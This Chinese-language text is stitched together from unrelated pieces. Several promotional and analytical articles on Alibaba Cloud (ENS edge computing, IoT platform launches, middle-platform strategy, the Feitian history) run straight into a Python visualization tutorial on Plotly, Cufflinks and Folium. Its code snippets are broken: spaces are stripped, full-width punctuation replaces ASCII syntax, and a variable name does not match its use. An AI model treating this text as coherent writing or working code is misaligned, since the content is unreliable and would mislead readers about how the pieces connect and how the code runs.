“经过持续的实践碰撞，我们坚信未来方向是通过边缘计算往上做，来解决融合、开放、集成、按需的问题，更高层次的赋能用户。各种产业应用发展起来，应用层不应该关心底层细节，不然整个发展会有大的掣肘。”杨敬宇说到。

ENS正式进入2.0时代：融合、开放、联动的边缘计算新形态

在2019年，边缘计算ENS正式进入2.0时代，致力于打造上下联动的基础设施环境。

在ENS 2.0时代，阿里云引入MEC资源，边缘基础设施更包容、易扩展，用户未来进一步下沉至MEC的需求可以无缝覆盖，目标做到10公里，让ENS的计算力充分应用到MEC，充分释放资源红利。

在未来，建立大规模分布式边缘算力融合调度平台，除了虚机，还会融合容器、函数、流式计算等计算形态，消除底层异构差异，无缝支持各类边缘资源，做规模覆盖的通用融合计算平台。

相对于ENS 1.0蜕变

与ENS1.0不同的是，2.0时代我们会打破割裂，让ENS数据和能力与用户的运维系统建立全方位的连接。通过API形式，把更多能力释放出来，让边缘计算应用变得更简单，平台去做底层的事情，用户的运维体系更轻量。实现一键部署、一键升级、一键扩缩容、报警自动响应，上下游互动保障运营体系的稳健性。在付费模式上做到更加灵活弹性，做到真正的轻资产运营，快速部署、按需付费、先用后付，不需要包年锁定资源。

ENS 2.0的典型实践

一、应用部署——秒级的全球分发

之前用户普遍缺乏对遍布全国资源的统一部署能力，或者人肉方式效率低、标准性差，或者需要花大力气自建部署、发布系统。使用ENS 2.0的自定义镜像能力，只需要花一点时间完成自定义镜像的制作，剩下的全国范围资源下发和部署，ENS 2.0自动完成。

二、弹性动态扩容

之前用户使用IDC资源固定、想要扩容缩容，一般需要漫长的商务沟通和建设，现在ENS 2.0提供的弹性和API能力，让用户有能力随时根据业务情况自动扩缩容。

在发布与升级环节，ENS 2.0提供用户业务灰度升级的能力，同时集成阿里云容器K8S，实现基于容器的发布、升级、管控。

三、监控与报警运维

ENS 2.0全方位监控边缘资源的运行状态、网络状态、设备状态，并通过大数据关联矫正实现实时、准确的预警，并通过API实时反馈用户，用户可以基于此实现自动运维、调度、管控等操作，显著降低人力精力消耗。

ENS 2.0是业界首次实现大规模分布式边缘算力调度，通过按需按量、业务镜像化、监控平台化等特性，可以实现用户综合成本降低30%，运维效率提升50%。

赋能、孵化边缘计算的海量场景

目前在ENS的服务平台上，已经在实践承载大量CDN的边缘缓存、边缘调度、边缘分发业务，以及一大批直播平台的边缘收流、合流、互动、弹幕等业务。而现在火热的在线教育、智慧办公、智慧医疗等行业核心依赖的音视频通信技术，也因为其低时延、大连接、大带宽等需求特点，陆续成为使用ENS的重要场景。

在分享的最后，杨敬宇说：“边缘计算是个非常大的领域，我们想通过5G的来临和边缘计算的发展，能够让产业互联网有更大的发展，让我们不曾想、未曾做的事情得以实现。阿里云会以开放、普惠、合作的理念，持续开拓面向未来的边缘服务，期待更多行业合作伙伴与阿里云同行。”

通过长时间保持的快速增长，阿里云创造了一项记录，也收获了国内外云计算市场的领先地位。

但是，从高盛预测的数据来看，企业云服务支出占总潜在IT支出的比例，将由2018年的9.5%增长到2021年的15.3%。尤其在中国市场，经济正处在从消费互联网冲击产业互联网的转型期，传统企业转型带来的增长机会空前。是拉开差距，还是被反超，在未来两年内都很容易实现。

各行各业的传统企业，都迫切的需要更优越的IT基础设施，更强的互联网技术能力。而阿里巴巴在不久前的阿里云峰会上，提出要通过升级后的云智能平台解决这部分需求。

阿里远早于其他互联网大厂打造的中台战略，沉淀下的技术能力，过去是阿里云成长的最佳伴侣，今后则将变成一张谁也没有的王牌。正如高盛分析师认为的那样，云计算未来的差异化服务将是只有最头部的玩家才有资格进行的牌局。

阿里巴巴的选择，还是构架基础设施的基因，还是对外赋能的模式。但即使亚马逊阿里们穷尽数十年来积累的优势，依然不可能抹开每年几十亿美金规模的资本输出。毫无疑问这是一场豪赌，但没有玩家会弃权。

借助这场云峰会，牌局之外的我们，也得以提前一窥阿里的手牌有何特性。

一

高上限

当IOE还是标准IT范式时，阿里已经撞到南墙了。电商业务飞速增长，但传统的IT基础设施想要跟上互联网的热情却捉襟见肘。

更别提电商是最复杂的互联网业务了，交易、支付、商品、会员、购物车、物流等等，说得出的名词，都是一套复杂的系统。

人类从来没有这么大规模的商品交易在网上进行，洪峰流量分分钟就能压倒传统的IT架构。但这事要是问别人，是没解的。因为当时的IT范式，还是把所有的负荷都累加在单一机器的性能上。

没人给答案，就只能自己求解了。阿里开始用新的方式来组织计算能力，用一个自主研发的云计算操作系统，把服务器连成一张大网，这在技术上的名词是“分布式”，而那个云计算操作系统被命名为飞天。

正式因为从开始就选择了自研，阿里云才得以拥抱“高上限”。世界上市场占有率前五的云服务商都是自研。只要是认真对待这个事情，都会投入核心的云操作系统研发。

发展到今天，阿里巴巴有20亿电商产品，每天大概3亿人访问，需要生成无数的专属推荐和交易订单。这其中的数据处理需要两项基本功，处理海量数据的能力和实时处理数据的能力，或许可以理解为类似带宽和延迟的关系。

诸如此类的能力，决定了阿里云超高的能力上限，自研系统的优势展露无遗。纵览全球，认真做云计算的企业，都会忍受着巨大的代价和痛苦，咬牙坚持着自主研发的阵营。至少从成绩上来看，全球前四的企业都在此列。

二

低门槛

阿里云对未来的展望，是成为“一个互联网技术武装起来的云”。

同理，面向未来的下一代技术也一定是结合互联网技术，在云化IT基础设施上构建的。

IT基础设施沿用多年的传统体系演变成云计算体系，企业采购的对象从“计算机”变成了“计算力”，同样配套适用的技术体系也面临着更新。朝下一代技术出发，工程师们逐渐向新领域转移，这是未来的必然趋势。

未来还有一个趋势，之后十年是互联网的十年，但不是互联网企业的十年。马云自己也说，未来不是我们这些互联网公司的天下，但也没有哪个企业能脱离互联网。企业不论规模大小，都有相似的需求：数字化、互联网化。

阿里云智能升级完成后的第一件事，将是将阿里巴巴的技术跟阿里云的技术完全拉通。阿里将以云智能平台为载体，通过对外输出20年来沉淀出的互联网技术，参与其中。此时的阿里云智能，最大的价值将是能帮助客户降低互联网化的技术门槛。

将阿里巴巴整个集团的技术对外输出，固然有用集团内生技术寻求外在增长的商业诉求，但也的确起到了帮助传统企业降低转型门槛的作用。况且，要把技术从内部沉淀再向外输出，也并不是一件容易事。

从独善其身到兼济天下，阿里一开始或许也并没有想过多少年后要成立一个云智能平台，把自家技术捏成一个个产品，向外输出。言必称平台，多半免不了失败，平台都是在沉淀核心能力时水到渠成出现的。在阿里，一切的起源还是电商。

早期的阿里巴巴有三座电商大烟囱，淘宝天猫1688各自为政。许多同样的功能，都要在三个电商平台各建一次，资金投入和时间成本都大量重复。

在成立阿里云的2009年，共享事业部同时诞生。淘宝和天猫虽然是两种电商模式，但都免不了商品、交易、评价、支付、物流这些功能，共享事业部的任务就是将两个平台中通用的业务功能沉淀，统一建设统一利用。

到2015年，阿里组建中台。此时阿里旗下的业务早已不只是三座电商大烟囱，中台要沉淀是整个集团的数据运营能力、算法能力、调度能力等等。

升级阿里云智能之后，中台战略的成果将通过平台延伸，向全社会开放，触达每一个行业。

阿里内部有时会将中台沉淀出的各种能力看做积木，当商业要素的能力都被中台沉淀为一块块积木，有新的需求出现时，就可以按需对接快速响应。

在升级后的阿里云智能平台上，抽象的积木将全部被做成实实在在的产品。阿里巴巴所用的技术，跟平台上提供的产品完全一样，客户在第一时间就可以用到跟阿里巴巴一模一样的底层。传统企业互联网化的技术门槛，也会无限降低。

三

做基础

升级之后的阿里云智能，有了中台和达摩院两大助力加持，把降低企业成本和满足企业计算需求这两件事，做到极致。

先说成本。继IT设备采购成本后，企业所需的技术费用也将显著下降。在去年的一次被采访中，张建锋说，“如果阿里收购一家企业，原来这家企业的技术费用需要一个亿，并入阿里后，最多不会超过五千万”。在阿里对外技术输出后，这种成本压缩将不再是“内部权益”。

再说到满足企业计算需求的能力，则更直观的刻在了阿里云智能平台这个名字上。

数据并不是互联网企业的专利，传统的企业、业务一样有很多数据。只是互联网公司有先天的优势，能更好的收集并处理它，而传统企业并没有很好的能力去计算这些数据。如果能将这些数据完全利用起来，任何一家传统公司都能从过去的基于流程，变为基于智能。

之前提过，阿里处理数据有两项绝活，海量和实时。这是因为阿里通过中台，沉淀了从数据的收集、处理、存储的一整套技术。而处理这些数据，也不再是单纯靠庞大的算力，而是在算力的基础上，运用智能化的算法协同处理。

因此，张建锋在这次阿里云峰会上讲，阿里云更别的云大不相同，因为阿里的云上有数据化和智能化。过去，阿里云更专注IaaS层，承担着IT基础设施的角色；如今，阿里云智能还要做智能化的技术基础设施。

无论是哪种基础设施，都与阿里巴巴坚持的商业愿景一致。 “让天下没有难做的生意”，阿里巴巴的基因，就是提供商业基础设施，以参与者的角度赋能行业。

因为自主研发的关系，阿里云一路走来，始终处在遇到问题和解决问题的博弈中。因为没有同行者借鉴，栽了无数跟头才有了今天的规模。这些苦难和挫折，终将化作阿里云飞扬的羽翼，毕竟阿里试错越多，客户踩雷的几率就越小。

如今，阿里已经有了“要在未来一到两年内，将阿里巴巴100%的业务跑到公共云上”的底气，也即将向社会输出新的商业基础设施，过去是电商，现在是云智能。但有一点没变，阿里的基因是为商业“做基础”，而不是掠食，也因此有了“被集成”的说法。

四

被集成

在张建锋最新的提法里，阿里云智能不是要做每一个行业的解决方案，而是成为每一个行业解决方案里的一部分，坚持“被集成”。

不管是制造业、零售业，还是金融行业等都有自己的特殊情况，也因为各自独特的商业体系需要打磨不同的解决方案，任何一家企业想快速吃透都是不现实的。但是不管哪个行业，未来的解决方案里，一定会有数据化的理念，智能化的理念。

张建锋指出，“阿里云自己不做SaaS，让大家来做更好的SaaS”。

这也以意味着，阿里云正式划清了边界。SaaS由合作伙伴去做，阿里云只做最擅长的部分—基于技术的创新和突破，充当SaaS加速器。

譬如，与埃森哲、毕马威等企业的合作，都是由阿里云带着合作伙伴，合作伙伴再带着自己的客户大家一起玩，共同探索行业升级。

阿里云智能需要的核心竞争力，当然并不是一两句光鲜亮丽的口号，而是需要扎实构建和突破一切核心技术，诸如芯片、操作系统、网络等一切因素都要不断突破和创新。张建锋还有一个身份是阿里达摩院院长，而达摩院本身就是为阿里探索前沿技术储备的先锋军。

最近两年，阿里云的市场依旧高速增长，而且在未来，“以退为进”的被集成战略还将为阿里云带来更多的合作伙伴，和更庞大的客户群体。

但这还远远不够，被集成对阿里云提出了更高的要求、更大的挑战。阿里云只有不断坚持技术研发，不断通过中台沉淀更多产品、不断吸收达摩院的先进技术，才能被合作伙伴集成，一起赋能客户，探索各行各业。

阿里云未来或许会涉猎更广，进入制造流通零售的每个领域，但数据化、智能化技术的核心地位永远不会动摇。

五

市场研究机构IDC日前公布了2018年上半年全球公有云laaS（基础设施即服务）厂商市场份额数据，阿里云成功跻身前三。清场工作已完成，国际头部玩家未来将会面临更加激烈的直接竞争。

阿里巴巴走到第二十个年头，已经成为了中国互联网界最难被颠覆的公司。

归根结底的原因，还是在于阿里巴巴构建底层商业设施的能力。电商、物流、金融、云服务，阿里巴巴仿佛患上了构建基础设施的强迫症，也这种基因落实到了极致。

阿里云过去的大本营在IaaS，但未来的核心竞争力，一定来源于自身差异化的基础能力，例如数据化智能化。借助云智能平台，阿里巴巴想对外输出的是整个集团改造IT基础设施的能力，互联网技术实力，和处理数据的智能化经验。

这又是一片无人走过的荒原，阿里云甚至找不到同行者。但在互联网的世界里，不论地区和行业，凋零是永恒的话题，只有冒险家才配坐上最终的牌局。

如果可以，谁都想成为通吃一切的那位赢家。

在物联网专场上，首先上台的是阿里云IoT的掌舵人阿里云智能IoT事业部总经理库伟。

“阿里云的物联网布局可以分为云、管、边、端，从南向开始，首先要通过芯片、模组进行打通，在端侧主要有嵌入式操作系统AIiOS Things和边缘计算Link IoT Edge。”库伟谈到。据雷锋网(公众号：雷锋网)了解，端侧升级也是此次物联网专场的重点。

针对当下云管边端的能力协同，库伟总结为：云上做训练，边缘侧做推理、分析，端侧做执行。

在云侧，阿里云的核心是三个平台、两套体系。物联网平台是我们未来的核心基础设施，物联网平台未来将类似电网一样作为民生基础设施。

六大平台公测、升级

阿里云智能IoT产品总监张宗锋在大会针对视频边缘智能服务、智能单品免开发方案等6大产品3大场景应用，进一步完善了物联网基础设施的能力。

首先是连接生产中的数据，其次要将连接的设备能力服务化，形成系统与系统之间、应用于应用之间的打通，最终通过智能化、通过机器完成相关工作任务。

因此，IoT的核心价值就是将生产力云化，即服务化、服务化和标准化。阿里云将会通过智能化编程接口的对外开放，与行业合作伙伴共同解决实际场景中的问题。

目前，阿里云智能IoT已经拥有16万+开发者，10000+合作伙伴厂商，15000+应用以解决方案数，1300+对外开放的API。

大会上张宗锋公布了相关平台及产品公测或升级，具体如下：

物联网平台Link Platform虚拟专有云版邀测。该平台可以帮助B端用户快速搭建独立的专有云平台，最高支持5万设备量并发；

物联网平台Link Platform数据分析服务公测发布。可以实现数据管理、数据跨域度分析和GIS/BIM可视化数据展现；

一站式开发平台IoT Studio公测发布。由于物联网产品开发链路较长，阿里云提供一站式开发平台，集成阿里云市场2000+API可供用户调用；

视频边缘智能服务Link Visual 2.0公测发布。阿里云这一平台为云边一体华视频接入和算法容器，支持GB、ONBIG主流协议和私有协议（定制）；

物联网网络管理平台LoRaWAN公测发布。对于认证过的设备厂商，只需要与阿里云云端打通、联调就可顺利实现，其他厂商也可以通过购买认证过的模组实现。据官方介绍，3个网关可以实现100平方公里，6万传感器的覆盖能力；

智能生活平台3.0版发布。该版本只需要通过购买认证的模组，可以快速实现发布、复制和交付解决方案，实现免代码开发交付解决方案。

对于工厂改造而言，首先要带来订单或成本降低。

针对于此，雷锋网也了解到，点石服装有限公司这样百人服装厂如今是支撑起电商订单的最主流的工厂单元，它们的订单有上千件的大单、也有十几件的小单，工厂的生产必须与生产供应链进行有效地匹配，及时完成电商的线上订单，才能为企业赢得更多商业机会。通过阿里云提供的数字工厂，结合非倾入式IoT设备和轻量化管理应用，对产线设备和管理流程几乎零修改的情况下，快速实现工厂的产能数字化，实现线上订单与线下生产的系统对接，极大提高了生产排产效率和订单完成率。

视频边缘智能服务Link Visual 2.0

在边缘计算领域，阿里云此次主要发布了Link Visual 2.0。

阿里云方面表示，该产品即将于今年4月启动邀测，7月正式上线。据介绍，Link Visual自去年10月发布1.0，目前已有近百家摄像头厂家购买产品并开始服务对接工作，多家智能视频服务商也跟进推出了同类产品。

此次发布的2.0版本，首次开放深度学习云边协同能力，形成了视频数据接入、调度，算法模型下发、算法容器、边缘推理、结果上云的闭环，打通从数据、模型、到应用的全链路。

据悉，Link Visual 2.0将为社区、楼宇、人居、工业和城市五大场景，面向服务方案厂商、设备厂商和算法厂商，提供物理网边缘计算场景提供多种智能射频解决方案。

飞燕平台升级3.0，联合美的推出定制芯片及智能家电OS平台

在2018年深圳云栖大会，阿里云发布了飞燕平台1.0，2018年5月发布飞燕平台2.0，建立3个全球数据中心，目前已经覆盖119品类、2000+SKU、1000+合作品牌。

此次大会上，阿里云正式发布飞燕平台3.0。

据阿里云智能IoT生活产品总监陈明波介绍，“目前这一平台在云端可以为设备建立物模型，为B端用户建立多语言、云端API等配置能力。目前该平台已经接入天猫精灵，在国外接入亚马逊的Alexa和谷歌的智能语音助手，已经开始对接支付宝、钉钉等小程序。”

另一重磅消息为：阿里云和美的集团宣布达成深度合作，双方联合推出定制芯片及智能家电OS平台。美的智能家电产品将适配AliOS Things的定制芯片，通过阿里云在操作系统及物联网生态的资源优势，进一步提高美的智能家电的用户体验和内容服务。

双方此次首发的智能家电OS平台，是美的物联网操作系统SmartOS和阿里云物联网操作系统AliOS Things的深度融合。AliOS Things具备云端一体、极简开发、丰富组件、安全防护等关键能力。美的融合AliOS Things技术的智能家电OS平台，再搭配定制的智能芯片，可以实现企业更易开发、用户体验提升、生态内容共享的目标。

阿里云联合芯片合作伙伴推出了两款家电行业定制智能芯片：一款是整合了WiFi和BLE的Combo芯片BK7231M，用以提高家电配网成功率；另一款是WiFi SoC芯片ASR5501M，通过高集成度降低硬件设计难度和成本。这两款芯片都已适配AliOS Things，并将逐步应用在后续双方合作的美的智能家电产品中。

此外，阿里官方也表示，截至到今年3月份，搭载AliOS Things的芯片出货量已超过1亿片。

提起中台，绕不开也是最先想到的应该都是阿里巴巴的数据业务双中台。毕竟阿里的“大中台小前台”战略人尽皆知，其威力也是显而易见的。

以阿里这么大的体量，经过了这么多年的厮杀，在互联网快速迭代创新的竞争环境中，仍然可以保持快速迭代创新，上演了一场接一场现实版的大象跳舞，中台战略的成功居功至伟。

阿里的数据业务双中台堪称经典，上图摘取自钟华（古谦）于刚刚结束的2018云栖大会《企业核心业务数字化转型最佳实践》分享。

从图中可见，阿里中台主要体现为由业务中台和数字中台并肩构成的双中台，并肩扛起了所有前台业务。

业务中台将后台资源进行抽象包装整合，转化为前台友好的可重用共享的核心能力，实现了后端业务资源到前台易用能力的转化。

数据中台从后台及业务中台将数据流入，完成海量数据的存储、计算、产品化包装过程，构成企业的核心数据能力，为前台基于数据的定制化创新和业务中台基于数据反馈的持续演进提供了强大支撑。

业务中台与数据中台相辅相成、互相支撑，一起构建起了战场强大的后方炮火群和雷达阵。

移动中台

同样来自于2018年云栖大会杭州站，在移动研发平台EMAS专场上，阿里巴巴高级技术专家泠茗带来的分享中就为我们揭开了阿里移动中台的面纱。

可见阿里的移动中台是构建在业务&数据中台之上，为更好更快地利用中台能力、快速迭代移动端产品，又生生地挤出（或是说沉淀）出了一个新的中台层。

移动中台建立在业务数据双中台之上，更靠近移动前端战场，我们可以类比成战场上的坦克群，近距离支撑一线战场。

技术中台

大中台小前台，并不代表前台不重要，相反，大中台的建设就是为了更好地服务好小前台，大中台的威力也需要靠小前台的引导才能真正发挥和体现出来。

就像是深入敌后的前台特种部队如果定位不到敌人的精确位置，就算有再强大的水陆空中台炮火群，也只是一群废铁而已。

大中台小前台战略，其实是给小前台的构建提出了更高的要求，就像我们对于特种兵的要求也比一般的士兵高出很多一样。

如何快速构建出短小精悍、武器精良、战斗力十足的特种兵前台应用，充分发挥和释放出中台炮火群的威力，就需要依靠这里提到的技术中台。

技术中台就是将使用云或其他基础设施的能力以及应用各种技术中间件的能力进行整合和包装。过滤掉技术细节，提供简单一致、易于使用的应用技术基础设施的能力接口，助力前台和业务中台数据中台的快速建设。

如果将业务数据双中台比喻成强大的中台炮火群，可以直接对敌人进行进攻。那技术中台的作用就有些间接，有点像前台特种兵身上各种先进的武器装备。精良易用的武器装备，可以在大幅缩短前台特种兵的建设周期的同时大幅提高单兵作战能力，令敌人胆寒。

研发中台

软件开发是一项工程，涉及到管理、流程、测试、团队协作等方面。如何将企业的开发流程最佳实践沉淀成可重用的“能力”，从而助力创新性应用的快速开发迭代，也是我们看到的很多企业正在做的事情，我们可以管这种关注与开发效能管理的平台叫做研发中台。

如果说技术中台为前台应用提供了基础设施重用的能力，那研发中台就为前台应用提供了流程和质量管控以及持续交付的能力。

上图摘自阿里的技术手册，展示了阿里的效能事业部一直致力于构建的阿里研发效能平台，有兴趣的同学可以去了解一下阿里自家的云效平台。

ThoughtWorks在敏捷与开发效能方面一直走在行业领先，持续总结过去的经验，并基于客户自身的需求和实际情况、结合最新的技术，与客户一起携手成功打造了多个定制化的开发效能平台。

总之，开发效能是构建前中台应用过程中必不可少的重要一环。这方面的实践和能力通过沉淀，结合快速开发框架平台，例如微服务开发平台，就形成了企业的研发中台。

如果将技术中台比喻成前台特种兵的武器装备，那效能中台就是前台特种兵的管理训练基地以及可以快速将战士运送到一线战场的机动运输部队。

组织中台

以上无论是业务中台、数据中台、技术中台、研发中台……都是围绕技术展开的，也是企业在中台建设中最关注的方面。

但真正实际经历过几次企业级中台的建设后，我深刻地体会到：围绕技术展开并不是基于在中台构建中技术的重要性，而是因为技术的改进相对简单。

而中台建设真正困难的是组织上的重构，这往往是大家有意无意避而不谈的。

中台战略的成功、能否实现技术架构与组织架构的匹配，是一道绕不过去、但必须要迈过的门槛。从阿里成立共享事业部，海尔的人单合一、职能并联，到近期大家关注的腾讯的组织架构重构都是这些企业在这方面做出的努力。

举个实际的例子，在很多企业中一个新项目的启动，从筹划到申请经过层层审批和评审短则一两月，多则需要几个月的时间。要知道在当前所处的互联网时代，几个月人家App都上线了。

为了真正解决企业创新在组织层面的摩擦和阻力，构建真正的平台型组织，《释放潜能——平台型组织的进化路线图》提出了上图这样一个平台型组织的组织结构。

组织中台很像企业中的内部风投和创新孵化机构，为前台组织和团队构建创新型前台应用提供类似于投资评估（项目甄别）、投资管理、投后管理（孵化与风控），真正从组织和制度上支撑前台组织和应用的快速迭代规模化创新。

知易行难，ThoughtWorks在科技时代精益企业背景下提出的“价值驱动决策”框架并用“EDGE”命名，主要针对如何在市场高速变化时保证投资有效性，即致力于帮助客户在组织上和投资管理上真正的助力创新，也算是在组织中台建设上迈出的一步。

如果还用前边军队的比喻，那组织中台是什么呢？可能你已经想到了，对，就是战场指挥部。

到底中台长啥样？

列举了这么多各式各样的中台，最后都扯到了组织层面，是不是感觉什么东西加个“中台”的后缀都可以靠到中台上来，估计很快就会看到例如AI中台，VR中台，搜索中台，算法中台……对了，算法中台已经有了……

让我们引用一段阿里玄难在接受极客公园采访时提到对于中台的一段我非常认同的描述：

本文中我们一直提到的一个词就是“能力”，从玄难的这段采访也可以看出，在阿里，“能力”也是中台的核心。

甄别是不是中台，还要回到中台要解决的问题上，那是我上篇文章主要关注的问题。我认为一切以“以用户为中心的持续规模化创新”为目的，将后台各式各样的资源转化为前台易于使用的能力，帮助我们打赢这场以用户为中心的战争的平台，我们都可以称之为中台：

1，业务中台提供重用服务，例如用户中心，订单中心之类的开箱即用可重用能力，为战场提供了强大的后台炮火支援能力，随叫随到，威力强大；

2，数据中台提供了数据分析能力，帮助我们从数据中学习改进，调整方向，为战场提供了强大及时的雷达监测能力，帮助我们掌控战场；

3，移动及算法中台提供了战场一线火力支援能力，帮助我们提供更加个性化的服务，增强用户体验，为战场提供了陆军支援能力，随机应变，所向披靡；

4，技术中台提供了自建系统部分的技术支撑能力，帮助我们解决了基础设施，分布式数据库等底层技术问题，为前台特种兵提供了精良的武器装备；

5，研发中台提供了自建系统部分的管理和技术实践支撑能力，帮助我们快速搭建项目，管理进度，测试，持续集成，持续交付，是前台特种兵的训练基地及快速送达战场的机动运输部队；

6，组织中台为我们的项目提供投资管理、风险管理、资源调度等，是战场的指挥部，战争的大脑，指挥前线，调度后方。

所以，评判一个平台是否称得上中台，最终评判标准不是技术也不是长什么模样，最终还是得前台说了算，毕竟前台才是战争的关键，才是感受得到战场的残酷、看得见用户的那部分人。

中台好不好用，中台帮了前台多大的忙，前台想不想用、爱不爱用中台，从中台获得了多大的好处，愿意掏出多少利润来帮助建设中台，这才是甄别中台建设对错好坏的唯一标准。

对于中台来讲，前台就是用户，以用户为中心，在中台同样适用。

阿里 云的发展脉络并不复杂，主线是自主研发服务全球的超大规模通用计算系统“飞天（Apsara）”及推进其落地应用。有个说法，飞天的历史就是一部 阿里 云的历史，也是中国云计算的历史。

如今，飞天遍布全球200多个国家，服务用户数量高达230多万。它能将全球范围内的数百万台服务器连成一台超级计算机，单集群可达1万台规模，10万个进程达毫秒级响应，十亿级文件数，EB级别存储空间。

飞天不仅奠定了 阿里 云的产业地位，还实现了云计算操作系统真正的自主可控和国产化。2018年1月，飞天获得了中国电子学会颁发的15年来首个科学进步特等奖。

能承受多大委屈和苦难，才能承载多大的光辉和荣耀。事实上， 阿里 云的发展历经失落、低谷，也曾饱受质疑，但时间证明了 阿里 云的远见和努力。

使命驱动下诞生

飞天是在使命的驱动下诞生的。2007年， 阿里 明显感受到“脑力”不够用了。面对如此严峻的技术瓶颈，急需搭建起全新的技术架构。对此，2008年， 阿里 确定“云计算”战略。

另外一个使命来自 马云 的发愿。据 阿里巴巴 集团学术委员会主席曾鸣回忆， 马云 在内部讲过，他不懂技术，但是，他知道一点，云计算可以极大降低小企业利用新技术的难度，是非常有价值的一件事，我们一定要做。

2009年， 阿里 云成立，开启了研发云计算的里程。

“牧羊犬”迈出第一步

时间到了2010年4月， 阿里 金融订单贷款产品“牧羊犬”踏出第一步，成功在飞天平台上线。这在技术业内俗称为：“吃自己的狗粮”。意思是，为客户提供服务之前自己要验证一遍。

当时研发工程师回忆：当时 阿里 云一边在搭建“飞天（Apsara）”平台，我们一边在“飞天”上面开发应用。这就像是开发商一边在造房子，我们一边在室内装修铺地板。

云计算元年

2012年， 阿里 云干了两件大事。6月8日， 阿里 云开始全程支持了央视对欧洲杯24场赛事的直播，前后历时3个月。这是 阿里 云飞天第一次把产品以一个整体解决方案的形式对外提供。

11月9日， 阿里 云开发者大会首次以独立品牌名亮相，大会首次全面展示了 阿里 云飞天开放平台上的众多云计算服务，让国内用户第一次全面接触和体会到云计算服务。借此， 阿里 云首先定义了国内的云计算服务。

截止2012年11月，已有数万个网站、游戏和应用聚集在 阿里 云平台，每天可支持上亿用户直接或间接访问。看到 阿里 云着着实实的作为，人们认识到，云计算已经不再是一个虚幻的事物。也是从这一年开始，Ucloud、青云、金山云也相继成立，因此，2012年被看作中国云计算的元年。

5K的里程碑

2013年， 阿里 云实现了真正意义上的蜕变。

8月，新的基于飞天5K的ODPS（现为MaxCompute）生产集群规模达到5000，而且实现了跨机房，并经受了整机房断电的严苛考验。毋庸置疑，飞天5K的成功是 阿里 云乃至 阿里巴巴 历史上重要的里程碑。

也是在2013年以后， 阿里 云驶上发展快的车道。

AI时代新征程

随着云计算、人工智能、量子计算等新技术的发展，以及社会经济数字化转型的需求， 阿里 云也在积极推动云计算的演进，先后推出神龙云服务器、POLARDB、城市大脑等自研产品，而这背后的支撑就是飞天。

2016年4月， 阿里 云正式宣布推出人工智能ET。10月，在杭州的云栖大会上， 马云 指出，以飞天为代表的云计算将是推动新零售、新制造、新金融、新技术和新能源的核心动力。

也是在这次大会上， 阿里 云联手杭州发布城市大脑，这是飞天产业化升级的重要标志。

2017年10月，专注研发基础技术的 阿里巴巴 成立达摩院，当月， 阿里 云推出神龙云服务器，打破了虚拟机和物理机的边界。

纵观 阿里 云连年来的大动作，不难发现，其正在向云智能加速迈进。而此次峰会正是 阿里 云智能的一次集中亮相。对 阿里 云而言，云智能战略的推进，无异于第二次远征。

对此，我们拭目以待。

源 /程序君 文 /A九离

数据可视化的工具和程序库已经极大丰盛，当你习惯其中一种或数种时，你会干得很出色，但是如果你因此而沾沾自喜，就会错失从青铜到王者的新工具和程序库。如果你仍然坚持使用Matplotlib（这太神奇了），Seaborn（这也很神奇），Pandas（基本，简单的可视化）和Bokeh，那么你真的需要停下来了解一下新事物了。例如，python中有许多令人惊叹的可视化库，而且通用化程度已经很高，例如下面这五个：

Plotly

Cufflinks

Folium

Altair + Vega

D3.js（个人认为最好的选择，因为我也用JS写代码）

如果您了解并使用上面提到的库，那么您就处于进化的正确轨道上。它们可以帮助生成一些令人拍案的可视化效果，语法也不难。一般来说，我更喜欢Plotly+Cufflinks和D3.js.以下详细道来：

Plotly

Plotly是一个开源，交互式和基于浏览器的Python图形库。可以创建能在仪表板或网站中使用的交互式图表（您可以将它们保存为html文件或静态图像）。Plotly基于plotly.js，而plotly.js又基于D3.js，因此它是一个高级图表库，与Bokeh一样，Plotly的 强项是制作交互式图 ，有超过30种图表类型， 提供了一些在大多数库中没有的图表 ，如等高线图、树状图、科学图表、统计图表、3D图表、金融图表等。 plotly最棒的一点是可以在Jupyter笔记本或独立的HTML页面中使用 。您也可以在他们的网站上在线使用它，但我更喜欢离线使用它，您也可以将可视化保存为图像，非常易于使用也非常实用。

– 在Jupyter Notebook中使用Plotly的方法（离线）

首先，安装plotly库。

pipinstallplotly

然后打开jupyter笔记本并键入：

fromplotlyimport__version__
fromplotly.offlineimportdownload_plotlyjs，init_notebook_mode，plot，iplot
init_notebook_mode（connected=True）

语法超简单！在Pandas中，你使用dataframe.plot（），在这里，您使用dataframe.iplot（）。这个“i”改变了可视化的整个定义。

只需一行代码，我生成了下面这个散点图。您可以根据需要自定义它。请记住指定模式标记，否则您将获得一些线条。

请注意，随着数据的增加，plotly会开始卡滞。所以，只有当数据点的小于500K时，我才会使用plotly。

Cufflinks

Cufflinks将Plotly直接绑定到pandas数据帧。这种组合非常惊人，结合了Pandas的灵活性，比Plotly更有效，语法甚至比plotly简单。使用plotly的Python库，您可以使用DataFrame的系列和索引来描述图形，但是使用Cufflinks可以直接绘制它。正如下面这个例子：

df=cf.datagen.lines（）
py.iplot（[{
'x'：df.index，
'y'：df[col]，
'name'：col
}<strong>for</strong>col<strong>in</strong>df.columns]）

with plotly

df.iplot（kind='scatter'）

with cufflinks

Cufflinks使得图表绘制更加容易。您甚至还 可以使用Cufflinks生成令人惊叹的3D图表 。我只用几行代码生成了下面这个3D图表。

用Cufflinks生成的3D图表

你可以随时在Jupyter Notebook中试用它。

– 快速窍门：

在配置中设置：

c.NotebookApp.iopub_data_rate_limit=1.0e10

按以下方式导入：

importplotly.graph_objsasgo
importplotly.plotlyaspy
importcufflinksascf
fromplotly.offlineimportiplot，init_notebook_mode
cf.go_offline（）
#Setglobaltheme
cf.set_config_file（world_readable=True，theme='pearl'，offline=True）
init_notebook_mode（）

接下来，我将谈论另一个神库——Viz库。

Folium

Folium建立在Python生态系统的数据优势和Leaflet.js库的映射优势之上。您可以在python中操作数据，然后通过folium在Leaflet地图中将其可视化。Folium是一个用于绘制空间数据的“神库”。你还可以使用folium生成热图和等值区域图。让我们了解一下folium：

地图定义为folium.Map对象，可在folium顶部添加其他folium对象。

您可以为Folium渲染的地图使用不同的地图图层，例如MapBox，OpenStreetMap和其他几个图层，你可以查看此github库文件夹或此文档页面。

你还可以选择不同的地图投影。有许多投影可供选择。

让我们用美国失业的Geojson生成一个Choropleth地图。以下是片段：

map=folium.Map([43,-100],zoom_start=4)
choropleth=folium.Choropleth(
geo_data=us_states,
data=state_data,
columns=['State','Unemployment'],
key_on='feature.id',
fill_color='YlGn',
name='Unenployment',
show=<strong>False</strong>,
).add_to(m)
